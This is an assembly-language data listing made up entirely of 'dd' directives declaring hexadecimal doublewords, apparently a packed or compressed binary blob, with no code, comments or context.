		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h, 1C0E397Eh, 0E7760410h, 0A8340E1h,	2B110082h
		dd 5025D453h, 8B0BB273h, 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh
		dd 1318960h, 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h
		dd 0D108B3h, 350573E0h,	71060B41h, 70809DDBh, 0ACE6E2F3h
		dd 85C33803h, 0B9038B61h, 53F8F420h, 1F30E618h,	3085DF2h
		dd 98DB0CE6h, 0F410E099h, 8D122E7Ch, 0E0E3353h,	0E7D140B0h
		dd 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h, 76F68500h,	3C647163h
		dd 0CAE029h, 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh
		dd 0BA0F00FFh, 2CE5C26h, 0C7003BF8h, 9DD02177h,	10CDF5h
		dd 4E14069Fh, 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh
		dd 0EB3FC07Eh, 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h
		dd 0B8B9D75h, 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah
		dd 0E54EB014h, 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h
		dd 30080110h, 0CE1F71A7h, 3ABE5920h, 16378099h,	0B1438D27h
		dd 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h
		dd 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h,	71C2F002h
		dd 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h
		dd 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h
		dd 75676B5h, 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h
		dd 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh
		dd 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h,	11005653h
		dd 0B8E1CB27h, 0ADA17h,	76F4F0Fh, 0E3C8FDF2h, 8A225500h
		dd 0BDEAF8FCh, 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h
		dd 840740C3h, 28A00D5h,	274307ECh, 0DE004647h, 7570B033h
		dd 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h
		dd 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h,	5711DCh
		dd 40478014h, 0D97B754Bh
		dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh
		dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh
		dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h
		dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h
		dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h
		dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h,	0FC3245F3h
		dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h
		dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch,	9BDD88B0h
		dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah
		dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h
		dd 1A2CBFh, 0AF4ED6FAh,	0F2B89F23h, 59760E9h, 5FE4FE00h
		dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h
		dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h,	904EF815h
		dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h
		dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h
		dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh
		dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h
		dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch
		dd 5C5F002Dh, 927222Ah,	91000D0Ah, 0AAE4C4E0h, 7388E867h
		dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h
		dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h,	5C49E960h
		dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh
		dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h
		dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch
		dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh,	83481F05h
		dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h
		dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h
		dd 0EB071569h, 41B929h,	0DC30630Ah, 0AB83E806h,	5600807Eh
		dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh
		dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h
		dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh
		dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h
		dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h
		dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h,	2004589h
		dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh
		dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h
		dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h
		dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h,	50B1C594h
		dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh,	1EB473FFh
		dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h,	16B5B95Bh
		dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h
		dd 4690200h, 484EB36Fh,	0A25F0010h, 0BF446CF0h,	25001609h
		dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h
		dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h,	0C0F8840h
		dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h,	0EAFA270Eh
		dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h
		dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h,	477CE29Fh
		dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h
		dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h
		dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h,	0A2D0D6F5h
		dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h,	94D701EFh
		dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh
		dd 139629h, 0C9241C1Eh,	0FE0274B1h, 1ADC0900h, 0D280B8FFh
		dd 3B5E079h, 754F4304h,	7DD830D3h, 10017414h, 0C45B1FFh
		dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h,	341D0F65h
		dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h
		dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h
		dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h,	1E8AEB5h
		dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh
		dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h,	12EC04B9h
		dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h,	1EAED4A3h
		dd 8FCAA4E4h, 5A3DD69h,	0DCB87610h, 0D0018BD7h,	89DF6F62h
		dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h
		dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h
		dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h
		dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h
		dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah
		dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h,	34029CDDh
		dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h
		dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h
		dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh
		dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h
		dd 0CDE7B1h, 3A25A58Eh,	0E6AAEC29h, 93FA0044h, 0D01B9266h
		dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h,	0E60089A9h
		dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h,	758BDDh
		dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh
		dd 27841D5h, 0C327116Ch, 4B8E5901h, 0A6B01E5Fh,	40D2ECh
		dd 7517496Fh, 227C3966h, 0A39F4507h, 86202F71h,	0D94161h
		dd 7BDB2529h, 676F881h,	35A85500h, 75AE2638h, 0CB450093h
		dd 1834EA74h, 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h
		dd 0A6432101h, 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah
		dd 7D004DBEh, 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h
		dd 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h,	2C464772h
		dd 40703802h, 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh
		dd 8D268F00h, 7AF2357Bh, 1AD2052Fh, 0C0F007D3h,	0C2552B85h
		dd 0F4D07800h, 1B3BC13h, 100B002Eh, 0E881A64Ah,	910F2924h
		dd 60F164A5h, 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h
		dd 302B75FCh, 0F0CBE693h, 0E329BAh, 0AC2C164Ch,	0F55CF4E4h
		dd 48FC2D01h, 5A59A165h, 70A580F4h, 0A62107E2h,	436C14C4h
		dd 35A94485h, 5F51E0DCh, 92F46000h, 0C9311EFCh,	0CA090549h
		dd 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h
		dd 0D806EBD1h, 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh
		dd 31EB1C75h, 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h,	0A5D0003Eh
		dd 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h,	28BFEDA0h
		dd 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h
		dd 7B849743h, 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h
		dd 0F8043Dh, 5DD0D45Fh,	3CC60150h, 8980B0A2h, 85FC29B7h
		dd 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h,	0B1ECDD4Fh
		dd 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h,	77E50FCCh
		dd 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh, 7CD15A58h
		dd 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh
		dd 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h
		dd 67BD1E75h, 0E8D1ED2Bh
		dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h
		dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h,	0E3C10012h
		dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh
		dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h,	565B5A02h
		dd 7F89760h, 8BFC12AAh,	40C2B7F3h, 789E7908h, 0B1A96000h
		dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh,	51E8AFF8h
		dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h
		dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh,	2C29BC6Dh
		dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh,	0ABE8C3C1h
		dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h
		dd 1C77CEEDh, 61E2BA6h,	814097AAh, 0E38D5426h, 5E280070h
		dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h
		dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h
		dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh,	891A0010h
		dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh
		dd 7ADF1DEh, 6600A5F3h,	2D5B1E29h, 51AABDh, 0CBCC734Ch
		dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h,	7C27785Eh
		dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h
		dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h
		dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh,	500EB3Bh
		dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch
		dd 10D008D4h, 0F831FCh,	1DD87D89h, 59226421h, 0AC1F34F8h
		dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h
		dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h
		dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh
		dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h
		dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh
		dd 1B88CCE8h, 0DC7EADh,	50E94151h, 0FBFE7DBh, 0BCDE6300h
		dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh,	0AC0040B0h
		dd 39B481B8h, 0F85BC5h,	0B6BE24FCh, 0DC224972h,	20581D73h
		dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h
		dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
		dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh,	0B6E0DE51h
		dd 505BAA8h, 64F9E3ECh,	0F195A50Ah, 54189107h, 8F200DBh
		dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h,	988603FDh
		dd 0C80A91D9h, 53AE5Bh,	175874DBh, 0EF0B4A4Eh, 0FF9CF018h
		dd 0EC7552h, 185F8068h,	0F4E363C1h, 0E02BA00h, 1E4E1077h
		dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
		dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
		dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
		dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
		dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
		dd 4C0092DFh, 11D46D0h,	0F87032h, 0F4F15DD5h, 0EC933C2h
		dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
		dd 8722703Fh, 0F5933Fh,	8F060F38h, 3BE30811h, 1680FA0Ah
		dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
		dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
		dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
		dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
		dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
		dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
		dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
		dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
		dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
		dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
		dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
		dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
		dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
		dd 80EDAD2Fh, 6890DD1h,	4938F800h, 5328BAC6h, 0CB150A91h
		dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h,	7F5ABAF0h
		dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
		dd 559D8A6h, 0E6A8C4Ah,	0B7D49C00h, 0BCCDA06Bh,	7AC40E11h
		dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
		dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h,	394F73C0h
		dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
		dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
		dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch,	0BF00493Eh
		dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
		dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
		dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
		dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h,	105E0BB9h
		dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
		dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
		dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh
		dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh
		dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h
		dd 1451006Ch, 9EE325Dh,	0E590028Ah, 4DD78970h, 0BE81D489h
		dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h,	1D451723h
		dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h
		dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h
		dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh
		dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh,	0FF046FE0h
		dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h,	9880E10Fh
		dd 0F94594h, 15086EEBh,	81C49610h, 67D38600h, 0A528F895h
		dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh
		dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h,	2421F800h
		dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h,	0F4CF45Dh
		dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h
		dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h,	0ACA754D9h
		dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh
		dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h
		dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h,	99D4004Ch
		dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h
		dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh,	88008398h
		dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh,	0DB98DB75h
		dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh
		dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh
		dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh
		dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h,	1B094892h
		dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h
		dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h
		dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh
		dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h,	84D4295Dh
		dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h
		dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh
		dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h
		dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h
		dd 64407A7h, 906A1863h,	86D89A3Bh, 10AE7B00h, 2474DC2Fh
		dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h,	5EEEE674h
		dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh
		dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h,	42D480A4h
		dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh
		dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh
		dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh,	3DE45570h
		dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h
		dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h
		dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h
		dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh
		dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh
		dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h
		dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h,	0C540EBA0h
		dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch
		dd 25F74Ch, 0F64C9B90h,	0B00507h, 0AFECE901h, 0D854DF4Dh
		dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh,	283C3043h
		dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah
		dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h
		dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch
		dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h
		dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh
		dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh
		dd 0DA097540h, 5A9780h,	7B517358h, 7D0CC5EBh, 257A4B00h
		dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h
		dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h
		dd 47C589h, 0F441A74Ch,	0DC867FDBh, 0DB80600h, 0CFA4D27h
		dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h
		dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h
		dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh
		dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h
		dd 1602546h, 4CBAC38Ch,	0DCB49535h, 0F7F420F8h,	4301200h
		dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch
		dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h,	0C4972CEh
		dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h
		dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh
		dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh
		dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch
		dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h
		dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h,	0B975A775h
		dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h,	8A0EAA01h
		dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h,	8A215350h
		dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h
		dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h,	0CB92Ch
		dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h
		dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh
		dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h,	0C3EA004Ch
		dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h
		dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh
		dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h,	24B82Fh
		dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h,	1C080037h
		dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h
		dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h,	0CFBFF4h
		dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h,	96B438F3h
		dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh
		dd 6032C824h, 68C0DE09h, 70916C48h, 54770271h, 0BDB0901Fh
		dd 22C81FBDh, 15E2E100h, 2CF0CC2h, 4409F806h, 0D7C0086Ch
		dd 313F744Ch, 32D08303h, 0EB3FC618h, 64C4A030h,	0FA88E66Fh
		dd 80330031h, 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh
		dd 22C780DCh, 6E342174h, 0B8010C6h, 0A478B341h,	5000307Bh
